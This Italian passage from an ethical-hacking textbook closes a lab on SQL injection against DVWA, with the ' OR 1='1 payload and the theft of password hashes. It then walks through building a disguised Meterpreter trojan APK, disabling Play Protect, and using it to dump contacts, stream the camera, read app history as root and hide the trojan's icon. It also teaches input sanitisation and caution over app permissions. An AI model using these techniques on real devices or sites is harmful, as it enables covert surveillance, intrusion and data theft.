I database contengono tabelle, che sono analoghe alle righe e alle colonne di un foglio di calcolo. Le colonne contengono i diversi campi o categorie di informazione, come nome, cognome, nome utente, password, indirizzo e-mail e così via. Le righe contengono invece i singoli record. Per esempio, i dati di ogni singolo utente all’interno di una tabella sono memorizzati in una riga.

Quando accediamo a un database, usiamo una query SQL, come la seguente:
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Questa query richiede il campo password dalla tabella users in cui la riga o le righe del campo username contengono Bryson. Con una piccola modifica, possiamo fare in modo che la query richieda le password di tutti gli utenti:
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La semplice aggiunta della condizione OR alla query ha fatto sì che chiedessimo al database di selezionare tutte le password dalla tabella users. Infatti, a ogni riga SQL chiede se username è uguale a 'Bryson' o se 1 è uguale a '1' per la riga analizzata; se una qualsiasi delle due condizioni è vera, SQL restituisce la password per la riga in questione. Dal momento che una delle due condizioni è sempre vera (1 è sempre uguale a 1), il database restituisce tutte le password della tabella users.

Iniettiamo in DVWA alcune query SQL per sottrarre indebitamente informazioni dal database del sito web.

1.Nel browser Edge della VM Windows 10, verifica che la sicurezza degli script sia impostata su “low” (come illustrato nella Figura 8.5).

2.Clicca su SQL injection nel pannello di sinistra di DVWA. Viene visualizzata una pagina di ricerca come quella illustrata nella Figura 8.12.

Solitamente, inserendo un ID utente (per esempio 1) nella casella di testo e cliccando su Submit vengono visualizzate le informazioni relative a quell’utente. Ora violeremo il modulo in modo da visualizzare tutti gli utenti.

3.Se hai provato a cercare un utente, ricarica la pagina della SQL injection. Inserisci ' OR 1='1 nella casella di testo User ID, come illustrato nella Figura 8.12.
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Figure 8.12: Attacco a un database per mezzo dell’iniezione di codice SQL in un modulo di ricerca.

NOTANon bisogna inserire una virgoletta singola a chiusura della stringa 1='1, perché il modulo inserisce l’ID utente in un codice SQL che è già racchiuso fra virgolette singole, come user_id='2'; pertanto, quando viene iniettata nel database, la stringa ' OR 1='1 diventa user_id='' OR 1='1’, producendo una condizione che risulta sempre vera.

4.Cliccando su Submit, viene riportato un elenco dei nomi e dei cognomi di tutti gli utenti, come illustrato nella Figura 8.13.

5.Proviamo ora a estrarre tutti i nomi utente e le password di DVWA. Ricarica nuovamente la pagina della SQL injection e inserisci il seguente codice SQL nella casella di ricerca sotto User ID:
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Figura 8.13: Ecco il nome e il cognome di tutti gli utenti del database!

Il comando union di SQL unisce due query in modo da poter accedere a più tabelle alla volta. In questo caso, la ricerca dell’ID utente, che restituisce il nome e il cognome, viene combinata con una query che restituisce nomi utente e password dalla tabella users.

6.Clicca su Submit: invece del nome e del cognome, vengono visualizzati nomi utente e password dei cinque utenti memorizzati nel database, come illustrato nella Figura 8.14. Le password sono almeno memorizzate come hash, ma, come abbiamo visto nel Capitolo 7, con strumenti come hashes.com o John the Ripper è possibile recuperarne almeno quattro su cinque.
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Figura 8.14: Siamo riusciti a rubare i nomi utente e gli hash delle password da DVWA con un attacco SQL injection.

Con poche righe di JavaScript o SQL, un hacker può danneggiare in maniera seria una web app, reindirizzare gli utenti a un sito dannoso, rubare dati e anche peggio. Per fortuna, gli ethical hacker possono aiutare i titolari di siti web a difendersi contro tali attacchi, migliorando in maniera decisiva la sicurezza dei dati online di tutti noi.

Proteggere le applicazioni web da attacchi XSS, SQLi e altri

DVWA aiuta a comprendere come si violano le applicazioni web, ma anche come si possono proteggere. Nell’angolo inferiore destro di ogni pagina vulnerabile è presente un pulsante View Source che consente di visualizzare il codice della pagina. È possibile confrontare li codice sorgente della pagina a bassa sicurezza con quello delle pagine con livelli di sicurezza più elevati: in tal modo possiamo imparare a proteggerci contro gli attacchi di injection.

Clicca su View Source nella pagina SQL injection mentre la sicurezza degli script di DVWA è ancora impostata su “low”: viene visualizzato il codice sorgente dell’applicazione per la ricerca degli utenti, che contiene fra le altre anche queste due righe di codice:
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Questa applicazione web è scritta in PHP, un linguaggio di programmazione web molto diffuso. La prima riga di codice prende l’input utente digitato in un campo modulo denominato 'id' e lo memorizza in una variabile di nome $id, dopodiché crea una query SQL utilizzando l’input utente. In tal modo, l’input utente diventa parte del codice senza alcuna modifica. Questo è un errore di programmazione estremamente pericoloso ed è esattamente ciò che ci ha consentito di violare il database.

Clicca su DVWA Security nel pannello di sinistra, imposta il livello di sicurezza degli script su medium e clicca su Submit. Clicca su SQL Injection per tornare all’applicazione di ricerca degli utenti, quindi clicca nuovamente su View Source. (Se hai problemi a cambiare livello di sicurezza, chiudi il browser Edge, riaprilo e riaccedi a DVWA.) Stavolta, fra le due righe di codice sopra elencate ne compare una terza:
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Questa riga riformatta l’input utente aggiungendovi dei caratteri di escape (come la barra rovesciata \) prima di eventuali caratteri speciali che l’utente potrebbe inserire, come la virgoletta singola ' utilizzata nell’hack ' OR 1='1. L’aggiunta di una barra rovesciata prima di una virgoletta singola dice al database di considerare la virgoletta singola come parte del testo, non di un comando. Il comando mysql_real_escape_string() rende più sicuro il modulo, facendo sì che la virgoletta singola e altri caratteri potenzialmente dannosi diventino sequenze di escape innocue (\'): in tal modo il database non le tratta come parti di codice. Un aggressore motivato, tuttavia, può riuscire a superare anche questa difficoltà.

Torna alla pagina DVWA Security e imposta su high il livello di sicurezza degli script. Torna alla pagina SQL injection e clicca su View Source. Osserva il codice:
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Ora il codice usa il comando stripslashes() per rimuovere le barre rovesciate dal testo dell’utente e il comando is_numeric() per verificare che, in effetti, ciò che viene inserito sia davvero un numero. Questo codice è molto più sicuro. L’impiego del comando is_numeric() è un esempio di convalida (o validazione, calco dell’inglese validation) del campo di un modulo: is_numeric() verifica che l’input utente sia in formato accettabile e previsto, procedendo solo in caso affermativo.

Prova a visualizzare il codice sorgente di altre pagine a un livello di sicurezza basso, medio e alto per scoprire quali altri comandi vengono usati dagli sviluppatori web per proteggere le app. Per esempio, nella versione sicura della pagina XSS reflected è presente la funzione htmlspecialchars(), grazie alla quale la pagina è protetta dalle possibili iniezioni di codice HTML e JavaScript. Per evitare che l’input utente possa violare il codice del sito web o del database, i comandi che sono stati aggiunti nelle versioni sicure del codice sorgente servono a sanitizzare l’input utente, ossia rimuovere i simboli di codice potenzialmente pericolosi (come virgolette singole, barre rovesciate, segni di maggiore e minore) prima di utilizzare il codice nel sito o sul database.

Cosa ho imparato

In questo capitolo hai imparato che i server web sono online e disponibili a tutte le persone del globo, hacker compresi, 24/7. Inoltre, un singolo modulo web non adeguatamente protetto può mettere a repentaglio i dati di milioni di utenti a seguito di un attacco ben riuscito. Hai creato nel tuo laboratorio di hacking virtuale un server web volutamente vulnerabile, la VM Metasploitable, e hai usato l’applicazione web DVWA per imparare a testare i siti web per due tipi di code injection: il cross-site scripting (XSS) e la SQL injection (SQLi).

Hai usato codice JavaScript di tipo reflected e stored per far sì che una pagina web mostrasse un messaggio popup e per ridirezionare il browser a un altro sito web. Hai visualizzato il nome e il cognome di tutti gli utenti memorizzati in un’applicazione web basata su un database utilizzando SQL, dopodiché hai imparato in che modo un aggressore potrebbe rubare nomi utente e hash delle password da un database web. Utilizzando gli strumenti per la violazione delle password visti nel Capitolo 7, un aggressore potrebbe rubare milioni di nomi utente e password con poco sforzo e senza nemmeno essere un grande esperto.

Visto quanto è alta la posta in gioco, proteggere le web app dagli attacchi è uno dei compiti più importanti di un ethical hacker. Per proteggere un’applicazione web sono necessari svariati livelli di sicurezza. Hai imparato diverse funzioni del diffusissimo linguaggio di programmazione PHP grazie a cui è possibile sanitizzare l’input utente rimuovendo i caratteri speciali, così da proteggere il server e il database. Hai anche visto un esempio di convalida del campo di un modulo, verificando un campo di testo per assicurarti che l’utente abbia inserito un valore valido.

Nel prossimo capitolo aggiungerai altri strumenti alla tua cassetta degli attrezzi di ethical hacker: l’hacking dei dispositivi mobili! Imparerai come proteggere te e i tuoi cari dagli attacchi ai dispositivi mobili, che sono in continua e preoccupante crescita.




9

HACKING DI DISPOSITIVI MOBILI
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In questo capitolo esploreremo il mondo dell’hacking dei dispositivi mobili. Realizzerai una macchina virtuale utilizzando il sistema operativo mobile più diffuso al mondo, Android, quindi violerai il dispositivo mobile virtuale con Metasploit e ne prenderai il controllo da remoto con Meterpreter, esattamente come hai fatto con un PC nel Capitolo 6. Imparerai inoltre diversi modi per proteggere te e i tuoi cari dagli attacchi ai dispositivi mobili, in continua crescita.

Creare una macchina virtuale per telefoni/tablet Android

Vogliamo violare un dispositivo mobile Android in modo sicuro ed etico; pertanto, inizieremo aggiungendo una macchina virtuale Android al laboratorio virtuale di hacking. Segui questi passaggi per scaricare e configurare la VM.

1.Vai a https://www.osboxes.org/android-x86/ e scorri verso il basso fino alla sezione Android-x86 8.1-RC1 Oreo. Seleziona la scheda VirtualBox e clicca sul pulsante Download per la versione a 64 bit.

NOTASe lo desideri, puoi selezionare anche una versione di Android più recente. Le schermate saranno un po’ diverse e alcuni hack potrebbero non funzionare esattamente come descritto in questo capitolo, o non funzionare affatto. Se provi su molte versioni diverse, ti impratichirai nella pratica dell’hacking.

2.Il file scaricato ha estensione .7z. Per decomprimerlo, devi scaricare e installare 7-Zip per Windows, Archiver per Mac o p7zip-full per Linux. Quando hai il software richiesto, decomprimi la VM Android: in Windows, fai clic destro sul file e seleziona 7-Zip ▶ Estrai qui; su macOS o Linux fai doppio clic sul file. La VM verrà estratta in una cartella denominata 64bit.

3.Apri VirtualBox e clicca su Nuova per aprire la finestra Crea macchina virtuale.

4.Nella sezione Finestra e sistema operativo, digita Android 8.1 nella casella di testo Nome, seleziona Linux dall’elenco a tendina Tipo e scegli Other Linux (64-bit) dall’elenco a discesa Versione. Clicca su Successivo in Windows o su Continua in macOS.

5.Nella finestra di dialogo Dimensione memoria digita 2048 all’interno della casella: la VM disporrà in tal modo di 2048 MB (2 GB) di RAM. Passa alla schermata successiva.

6.Nella finestra Disco fisso scegli Usa un file di disco fisso virtuale esistente e clicca sul pulsante con l’icona a forma di freccia verde. Nella finestra di dialogo visualizzata clicca su Aggiungi. Cerca e seleziona il file .vdi nella cartella 64bit che hai appena scompattato.

7.Clicca su Apri, quindi su Scegli. Quando torni alla finestra Disco fisso clicca su Crea per creare la VM. Nell’elenco delle VM di VirtualBox viene ora visualizzata anche la macchina virtuale Android 8.1, come illustrato nella Figura 9.1.

8.Seleziona la VM Android nell’elenco, apri Impostazioni e scegli la scheda Schermo. Dall’elenco a discesa Scheda grafica seleziona VBoxSVGA. In questo modo le impostazioni dello schermo vengono modificate, consentendoci di visualizzare la versione con interfaccia utente della VM dello smartphone Android che abbiamo installato.

9.Sempre nella scheda Schermo verifica che la casella Abilita accelerazione 3D sia disabilitata (se però ti accorgi che la VM non funziona, potresti doverla riattivare).

10.Passa alla scheda Rete e scegli la Rete con NAT denominata PublicNAT. In questo modo la tua VM Android potrà comunicare con la VM Kali nel laboratorio di hacking virtuale.
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Figura 9.1: Abbiamo aggiunto una VM Android 8.1 a VirtualBox!

Ora sei pronto a lanciare la VM Android. La prima volta potrebbe volerci un po’ più di tempo per avviare la macchina virtuale (e se lo schermo resta nero per più di un minuto potresti doverla riavviare). Alla fine, compare la schermata iniziale di un dispositivo Android, come illustrato nella Figura 9.2.
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Figura 9.2: La schermata iniziale del dispositivo virtuale Android.

Prima di esplorare la VM, vai a Inserimento ▶ Integrazione mouse nella barra dei menu della VM Android e deseleziona l’opzione. Se lasci attiva questa opzione potrebbe essere difficile controllare il puntatore nella VM Android. (Il sistema operativo Android è pensato per gli schermi touch, pertanto usare un mouse in Android potrebbe comunque essere un po’ complesso.) Fatto questo, puoi iniziare a esplorare il tuo dispositivo Android virtuale.

Apri il browser Chrome e vai a una pagina web o apri l’app Contatti e aggiungi alcuni contatti (magari fittizi); insomma, fa’ un po’ di prove, come preferisci tu. La VM Android è praticamente indistinguibile da un tablet o da uno smartphone Android reali, a parte il fatto che non può fare chiamate e non dispone di alcuni sensori come il GPS per i servizi di localizzazione. Ricordati che per riprendere il controllo del mouse e uscire dalla VM Android per rientrare nel sistema operativo host puoi premere il tasto Ctrl di destra (Windows) o il tasto ⌘ destro (Mac), esattamente come per le altre macchine virtuali (boterai che ora sullo schermo del computer compaiono due puntatori del mouse: uno che resta fisso all’interno della VM e uno che invece controlli regolarmente all’interno del tuo sistema operativo).

Lanciare un trojan Android

Proviamo ora a creare un malware. Esattamente come abbiamo fatto con la VM Windows nel Capitolo 6, useremo un trojan Meterpreter per infettare la VM Android e prenderne il controllo. Nasconderemo il trojan in un file chiamato CoolGame.apk. Per la distribuzione e l’installazione di app mobili, in Android si usa il formato di file APK. Segui questi passaggi per capire quanto è facile per un aggressore indurre un utente Android a installare ed eseguire un’app infetta.

1.Accedi alla VM Kali e lancia Metasploit.

2.Al prompt dei comandi msf6> di Metasploit, digita questo comando su un’unica riga, inserendo l’indirizzo IP della tua VM Kali dopo LHOST=:
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In questo modo viene creato un payload android/meterpreter/ reverse_tcp sotto forma di un file APK, che verrà quindi salvato direttamente nella cartella web condivisa di Kali. Metasploit restituisce alcune righe di output che terminano in modo simile a questo:
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NOTASe viene visualizzato un errore che indica che la cartella non esiste, digita il comando sudo mkdir/var/www/html/share nel terminale di Kali per creare la directory, quindi prova nuovamente il comando msfvenom.

3.Attiva Apache Web Server in modo da poter scaricare il file dalla VM Android.
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4.Per verificare che il server web di Kali è in funzione, apri Firefox e accedi a localhost/share. Dovresti vedere il file CoolGame.apk.

5.Digita questi quattro comandi nella finestra del terminale di Metasploit per impostare il listener che gestisce le connessioni di Meterpreter in ingresso:
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Ora Metasploit è in ascolto delle connessioni in ingresso.

Infettare la VM Android

Ora scaricheremo l’app trojan e infetteremo deliberatamente il dispositivo Android virtuale. Torna alla VM Android e segui questa procedura.

1.Apri il browser Chrome e inserisci l’indirizzo IP della VM Kali nella barra degli indirizzi, seguito da /share/, in questo modo 10.0.9.4/share/, come illustrato nella Figura 9.3.
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Figura 9.3: Naviga alla cartella share della VM Kali dal browser Chrome della VM Android per scaricare e installare il file CoolGame.apk del trojan.

2.Clicca sul file APK per scaricarlo. La prima volta che provi a scaricare un file, Android mostra un messaggio in cui ti chiede di dare a Chrome il permesso di accedere all’archiviazione dei file sul tuo dispositivo. Clicca su Update Permissions, quindi su Allow.
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DISATTIVARE LA SICUREZZA PLAY PROTECT

Anche Android ha dei controlli di sicurezza, proprio come Windows ha un firewall e una protezione antivirus (Windows Defender). Se non riesci a scaricare o a installare l’APK, o se hai installato una versione più recente della VM Android, devi disattivare Google Play Protect. Vai a Settings (fai clic nel terzo inferiore della schermata iniziale e trascina verso l’alto per visualizzare la finestra delle app, che contiene anche l’icona Settings), cerca “Play Protect” e seleziona Security ▶ Google Play Protect. Clicca sull’icona a forma di ingranaggio nell’angolo superiore destro e disattiva l’impostazione Scan apps with Play Protect, come illustrato nella Figura 9.4.
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Figura 9.4: Disattivare la sicurezza Play Protect.



3.Clicca nuovamente sul file APK per scaricarlo. Chrome avverte che questo tipo di file potrebbe danneggiare il tuo dispositivo. Clicca OK per scaricarlo comunque.

4.Clicca sulla freccia verso il basso nell’angolo superiore sinistro della schermata della VM Android: viene visualizzato il gestore dei download, come illustrato nella Figura 9.5. Clicca sul nome del file APK per installare l’app.

5.Android mostra un’altra finestra che avverte che il telefono non è abilitato a installare nuove app da questa fonte. Clicca su Settings e attiva l’interruttore Allow from this source.
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Figura 9.5: Accesso al gestore dei download.

6.Clicca sul pulsante indietro (quello con la freccia che punta a sinistra) nella fascia nera in fondo allo schermo: viene visualizzato un elenco di autorizzazioni richieste dal trojan di Meterpreter, chiamato MainActivity: impostazioni, immagini, video, contatti, GPS, microfono, elenco chiamate, messaggi di testo, accesso alla scheda SD... praticamente qualsiasi autorizzazione che lo smartphone possa concedere! Clicca su Next in basso a destra nella finestra delle autorizzazioni, quindi clicca su Install. Se ricevi comunque un avvertimento da Google Play Protect, clicca Install Anyway.

AVVISOQuando installi un’app reale su un dispositivo reale, presta la massima attenzione a questo elenco di autorizzazioni; non accettarlo ciecamente. Se un gioco chiede l’accesso al microfono o agli SMS, per esempio, cancellalo senza installarlo.

7.Clicca il pulsante Home (il cerchietto nel centro della fascia) nella parte inferiore dello schermo della VM Android. Clicca e trascina verso l’alto per aprire la finestra con le app installate; quindi, clicca sull’icona di MainActivity per avviare il trojan.

8.Torna alla VM Kali, dove sarà visibile una sessione Meterpreter aperta.

Il trojan sul dispositivo Android ha contattato Kali ed è in attesa di comandi. Vediamo che cosa possiamo fare una volta preso il controllo.

Controllare la VM Android

La minaccia posta dalle app dannose per i dispositivi mobili è reale tanto quanto quella del malware sui PC. Se installi un malware sullo smartphone, un aggressore avrà accesso a una quantità spaventosa di informazioni sensibili: ogni foto e video che hai scattato, tutti i tuoi contatti, le tue chiamate e lo storico degli SMS, lo storico delle posizioni GPS, ogni ricerca web che hai condotto e video YouTube che hai guardato, nonché la possibilità di spiarti in qualsiasi momento con la fotocamera e il microfono, che fra l’altro ti porti sempre dietro.

Per capire esattamente quanto può fare un hacker malevolo con un’app come il trojan di Meterpreter, prova a digitare help nella finestra del terminale di Meterpreter: viene visualizzato un elenco di tutti i comandi. Oltre a quelli che abbiamo già visto nel Capitolo 6 quando abbiamo violato un PC Windows, esistono altre due sezioni di comandi dedicate interamente ai dispositivi Android:
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NOTASe ti serve la guida su un particolare comando, digita il nome, seguito da uno spazio e quindi da -h (abbreviazione di help).

La prima cosa che faremo per prendere il controllo del dispositivo Android è evitare che vada in standby. Inserisci questo comando: al prompt di Meterpreter:
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Meterpreter risponde con il messaggio Wakelock was acquired: ora, se il dispositivo Android è andato in standby o è passato a una schermata nera, lo schermo si riaccende e il dispositivo resta sveglio finché non si rilascia il wakelock.

La possibilità di visualizzare contemporaneamente entrambe le VM (Android e Kali) rende più facile eseguire comandi di Meterpreter e vederne gli effetti. (Questo approccio è utile per vedere che cosa vede l’utente quando un aggressore sta attaccando il suo dispositivo.) Se ha due monitor, metti Kali su uno e Android sull’altro; se invece ne hai uno solo, cerca di mettere Kali accanto ad Android, in modo da vederli in contemporanea.


RICONNETTERSI CON METERPRETER

Di tanto in tanto può capitare di perdere la connessione della sessione di Meterpreter, soprattutto se si chiude la VM Kali o Android. Ecco come si ristabilisce la sessione Meterpreter:

1.Se il prompt msf6 > di kali mostra ancora msf6 exploit(multi/handler) > da una sessione precedente, reinserisci il comando exploit per ricominciare ad ascoltare.

2.Vai alla schermata iniziale della VM Android, scorri verso l'alto per visualizzare l’elenco delle app installate e clicca sull’icona MainActivity per avviare il trojan di Meterpreter.

3.Se hai chiuso completamente Metasploit, esegui l’app MainActivity in Android e inserisci questi quattro comandi al prompt msf6 > di Kali per connetterti a una nuova sessione (ricorda di usare l’indirizzo IP della tua VM Kali nel terzo comando):
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Eseguire app

Quando un aggressore è riuscito a prendere il controllo di un dispositivo mobile, può lanciare da remoto qualsiasi app desideri. Per vederne il funzionamento, proviamo a verificare l’elenco delle app che l’utente ha installato sul proprio dispositivo. Digita il comando app_list nella finestra del terminale di Meterpreter. Android visualizza l’elenco di tutte le app installate sullo smartphone, compreso il nome visualizzato sull’icona dell’app e la stringa URI (Uniform Resource Identifier) relativa. La stringa URI è il modo in cui le varie risorse di un sistema Android vengono identificate. Per esempio, l’app YouTube è elencata in questo modo:

[image: ]

Le ultime due voci di questa riga indicano se l’app è in esecuzione e se si tratta di un’app di sistema installata dal sistema operativo. In questo esempio, il valore false indica che l’app YouTube non è in esecuzione al momento, mentre il valore true indica che si tratta di un’app standard installata come parte del sistema operativo Android.

Ora sappiamo che YouTube è installata sul dispositivo Android e quindi la possiamo lanciare da Meterpreter utilizzando il comando app_run e la stringa URI del pacchetto YouTube. Inserisci questo comando:
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L’app YouTube viene avviata nella VM Android! Torna alla VM Android e cerca il video “Bryson Payne TED Talk.” L’app YouTube nella VM Android trova tre video.

Sullo smartphone o tablet infetto puoi eseguire qualsiasi app, senza richiedere né il permesso né l’interazione dell’utente. Prova a eseguire altre app, come Settings (com.android.settings) o Phone (com.android. dialer).

Puoi anche richiedere il permesso di disinstallare un’app; in questo caso, però, l’utente ne viene informato.

Prova questo comando:
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La VM Android visualizza una finestra popup che chiede se si desidera disinstallare Gmail, come illustrato nella Figura 9.6. Clicca Annulla per evitare l’eliminazione dell’app Gmail sul dispositivo. Nei nuovi dispositivi Android, ci sono dei sistemi di sicurezza che evitano che il trojan Meterpreter possa disinstallare l’app; tuttavia, con un accesso da superuser (di cui parleremo nel paragrafo “Rubare file e curiosare nei registri”) potremmo cancellare i dati dell’app e perfino i file di programma senza che l’utente se ne accorga.
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Figura 9.6: Android chiede all’utente il permesso di disinstallare un’app.

Prima di passare ad altri hack più insidiosi, proviamo a eseguire un’altra app, Contacts:
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Nella VM Android si apre l’app Contacts. Mentre è aperta, aggiungiamo un contatto, così vediamo come si fa a rubarne i dati in Meterpreter.

1.Clicca sull’icona Add contact (un cerchio rosso con un segno più, +), nell’angolo in basso a destra della schermata dei contatti in Android.

AVVISONON cliccare sull’icona Add account in questa schermata. Non devi mai connettere questa VM Android violata al tuo account Google reale.

2.Android chiede di aggiungere un nuovo contatto per accedere ai tuoi contatti Google. Clicca su Cancel (non è necessario accedere a un account Google per aggiungere contatti in uno smartphone virtuale).

3.Viene visualizzata la finestra New contact. Inserisci il tuo nome, un numero di telefono fittizio e un indirizzo e-mail fittizio, come illustrato nella Figura 9.7.

4.Clicca su Save per memorizzare il nuovo contatto nella VM Android. Clicca sulla freccia verso sinistra nella fascia inferiore della schermata di Android se vuoi aggiungere altri contatti.
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Figura 9.7: Aggiunta di contatti con informazioni fittizie.

Accedere ai contatti

Meterpreter dispone di svariati comandi che consentono di accedere ai dati sensibili memorizzati nei nostri smartphone. Esegui help nella console di Meterpreter in Kali e guarda i comandi che iniziano con dump:
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Dal momento che la VM Android non è un dispositivo fisico, non possiamo fare telefonate né ricevere SMS, ma nel paragrafo precedente abbiamo potuto aggiungere un contatto; ora proviamo a rubarlo.

1.Esegui il comando dump_contacts in Meterpreter:
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Meterpreter risponde visualizzando il numero di contatti che è riuscito a trovare, più il nome del file in cui li ha salvati nella macchina Kali.

2.Apri una seconda finestra del terminale nella VM Kali e inserisci cd per passare alla directory home. Inserisci il comando ls con* per elencare tutti i file di contatto che Meterpreter ha salvato in questa posizione:
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Viene visualizzato un file .txt chiamato contacts_dump_ seguito da un timestamp (anno, mese, giorno e ora in formato numerico).

3.Digita cat con e premi il tasto Tab per completare automaticamente il nome del file, quindi premi Invio per visualizzarne il contenuto:
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Un aggressore può visualizzare tutte le informazioni di contatto di ogni persona elencata nell’app Contacts del tuo smartphone, oltre a leggere gli SMS (comprese le conferme richieste dalle procedure bancarie...) e a vedere tutte le chiamate recenti!

Spiare attraverso la fotocamera

Se un aggressore riesce a ottenere il controllo remoto dello smartphone, può controllare anche la videocamera e/o il microfono. Come vedremo, è veramente fin troppo facile spiare qualcuno in questo modo.

1.Se hai una webcam, connettila alla VM Android scegliendo Dispositivi ▶ Webcam dalla barra dei menu della VM Android e selezionandone il nome.

2.Dopo aver connesso la webcam, riavvia la VM Android (selezionando Macchina ▶ Reset e cliccando sul pulsante Reset). Riapri il trojan cliccando sull’app MainActivity.

3.In Metasploit, premi Invio dopo l’errore Meterpreter session closed e inserisci il comando exploit.

4.Quando la nuova sessione di Meterpreter parte, digita il comando webcam_list per visualizzare la videocamera:
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5.Per visualizzare il video in streaming proveniente dalla fotocamera inserisci il comando webcam_stream:
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La webcam inizia a inviare il video in streaming (lentamente) alla VM Kali attraverso il browser Firefox, finché non chiudi lo streaming nel browser web e premi Ctrl+C nel terminale di Meterpreter per interromperlo.

Se il dispositivo è stato compromesso per mezzo di un exploit come quello che abbiamo appena realizzato, un aggressore può fare lo streaming del video della fotocamera di uno smartphone esattamente come può accedere alla webcam di un portatile o di un computer desktop. A differenza di quanto accade con un computer, tuttavia, è assai probabile che lo smartphone lo porti ovunque, così come i tuoi amici e familiari. La maggior parte delle persone non copre la fotocamera dello smartphone come fa con quella del portatile; pertanto, è ancora più importante prestare la massima attenzione a quali app si installano sugli smartphone e a quali autorizzazioni si concedono.

Rubare file e curiosare nei registri

Come abbiamo già visto per l’hack di Windows 10, possiamo caricare e scaricare file dallo spazio di memorizzazione del dispositivo Android utilizzando i comandi upload e download. Se l’utente ci dà l’accesso come superuser, possiamo anche accedere a file sensibili protetti usando la shell.

1.Digita shell in Meterpreter per aprire la shell di Android:
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2.Nella shell di Android non c’è un prompt all’inizio della riga; il cursore si trova pertanto su una riga vuota. Inserisci i comandi cd / e ls per passare alla directory radice / ed elencare tutte le cartelle presenti nel dispositivo:
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La cartella data contiene una quantità impressionante di dati utente, comprese le cronologie di YouTube, del browser e di altre app. Ricordi quando abbiamo eseguito l’app di YouTube e abbiamo cercato “Bryson Payne TED Talk”? Se un’app registra un file di log con i risultati delle ricerche recenti, possiamo accedere a tale file, a condizione che l’utente conceda all’app i privilegi di amministratore o superuser (root).

3.Inserisci su nella shell di Android in Meterpreter per chiedere l’accesso come root:
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4.Nella VM Android viene immediatamente mostrata la finestra delle autorizzazioni, come illustrato nella Figura 9.8. Clicca su Allow per consentire a Meterpreter di accedere come superuser.
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Figura 9.8: Dare l'accesso superuser a Meterpreter.

5.Passa alla directory /data/data/com.google.android.youtube e usa il comando ls per visualizzarne il contenuto:
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6.La cartella databases contiene svariati file utilizzati dall’app, compresi quelli in cui è contenuta la cronologia delle ricerche di YouTube. Per trovare il file, inserisci il comando cd databases e ls.
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ELIMINARE L’APP GMAIL

L’accesso superuser (o root) consente di rimuovere file e dati essenziali di un’app. Se elimini i file sbagliati, puoi rendere inutilizzabile la VM Android. Per rendere inutilizzabile un’app eliminandone i file, basta rimuoverli dalle directory /system/app e /data/data. Per esempio, per eliminare Gmail dalla VM Android, inserisci queste due righe nella shell di Android dopo aver ottenuto le autorizzazioni root:
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7.Nel breve elenco di file visualizzato, è presente il file history.db. Esegui il comando cat history.db per visualizzare la cronologia delle ricerche su YouTube del dispositivo.
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Dal momento che si tratta di un file di database con una formattazione particolare, non tutti i caratteri sono stampabili, ma se osservi le ultime righe potrai notare che la ricerca “Bryson Payne TED Talk” compare in chiaro! Se provi a cercare altri video su YouTube ed esegui nuovamente l’ultimo comando (cat history.db), potrai notare che al file sono stati aggiunti nuovi risultati.

8.Ora proviamo a scaricare il file della cronologia di YouTube dalla VM Kali. Per prima cosa dobbiamo copiarlo nella cartella files del trojan Metasploit:
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9.Ora dobbiamo concedere l’accesso al file copiato:
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10.Esci dalla shell Android premendo CTRL+C. Meterpreter risponde con un prompt in cui chiede se desideri terminare il canale (channel), ossia la connessione alla shell. Digita y.

[image: ]

11.Torni in questo modo al normale prompt di Meterpreter, dove puoi scaricare il file della cronologia di YouTube nella cartella home della VM Kali (/home/kali/):
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12.In una finestra del terminale separata, inserisci il comando ls per verificare che il file history.db sia stato effettivamente scaricato. Inserisci quindi il comando cat history.db: vedrai gli stessi identici contenuti che hai potuto vedere nella shell di Android, con la cronologia di ricerca di YouTube in formato testo.

Un hacker malevolo può adoperare questa tecnica per salvare un record della tua cronologia di ricerca su YouTube. Ipotizziamo ora che tu sia un analista dati che lavora per il Ministero dell’Interno o nel team di sicurezza di un’azienda.

Potresti in questo caso usare la stessa tecnica per scoprire se un criminale ha guardato dei video su YouTube per costruire una bomba o commettere un altro crimine.

Disattivare la suoneria e altro

Con Meterpreter puoi cambiare impostazioni e impedire all’utente di ripristinarle. Per esempio, puoi disattivare la suoneria della VM Android inserendo in Meterpreter questo comando:
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Nella VM Android, scorri verso l’alto nella schermata iniziale e seleziona Settings. Cerca “ring” e clicca su Ring volume per aprire le impostazioni del suono. Il volume della suonera è stato azzerato, come illustrato nella Figura 9.9.
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Figura 9.9: Quando azzeriamo il volume della suoneria in Meterpreter, l’utente non la può riattivare!

Prova a spostare a destra o a sinistra l’interruttore della suoneria: non ci riuscirai! Meterpreter ha bloccato su 0 il volume della suoneria attivando la modalità non disturbare, un po’ come su alcuni smartphone esiste la possibilità di far scorrere il pulsante “Mute”. Per riprendere il controllo del volume della suoneria l’utente deve trovare l’impostazione “Do not disturb” in Settings.

Possiamo apportare anche un’altra modifica che l’utente non potrà ripristinare. Magari ti è già capitato di chiederti: Se vedo un’app che non riconosco, come MainActivity, probabilmente la cosa migliore che possa fare è cancellarla. Per fare in modo che l’utente abbia maggiori difficoltà a cancellare il trojan dal suo dispositivo, ci basta nasconderne l’icona.

AVVISONascondere l’icona di MainActivity rende più difficile reinfettare il dispositivo. La volta successiva che desideri esercitarti nell’hacking di un dispositivo mobile, dovrai reinstallare l’app CoolGame.apk scaricata all’inizio del capitolo, invece di cliccare semplicemente sull’app MainActivity. Se per te è troppo scomodo, salta il resto di questo paragrafo.

In Meterpreter, inserisci questo comando per nascondere l’icona del trojan MainActivity dall’elenco delle app installate dell’utente:
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Torna alla VM Android, clicca sul pulsante home e scorri verso l’alto per visualizzare le app. L’app MainActivity è sparita dall’elenco, come illustrato nella Figura 9.10.
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Figura 9.10: Nascondere l’icona dell’app MainActivity dalla schermata dell’utente.

Nascondendo l’icona dell’app, per l’utente risulta molto più difficile disinstallarla. Se un aggressore nasconde fin da subito l’icona dell’app, l’utente potrebbe non accorgersi nemmeno che è stato installato un trojan! Anche se non vede l’app, l’utente può comunque disinstallare il trojan. Nella VM Android, vai a Settings ▶ App info, clicca su MainActivity, quindi clicca su Uninstall. L’arresto o la disinstallazione dell’app chiude la sessione di Meterpreter nella VM Kali. Per reinstallare il trojan, vai alla cartella Downloads in Android e clicca sul file CoolGame.apk, come abbiamo fatto in precedenza.

Difendersi dalle app dannose

Per proteggerti dalle app dannose, fai molta attenzione a quali app installi sul tuo smartphone. In breve: pensa prima di installare! Tieni sempre attivato Google Play Protect sul tuo dispositivo Android e considera ogni avviso di sicurezza come una possibilità di riconsiderare ciò che stai per fare. Ancor meglio, non scaricare mai app dal Web o dall’esterno del Google Play Store, dell’App Store di Apple (se ha un iPhone) o dello store del produttore del tuo smartphone.

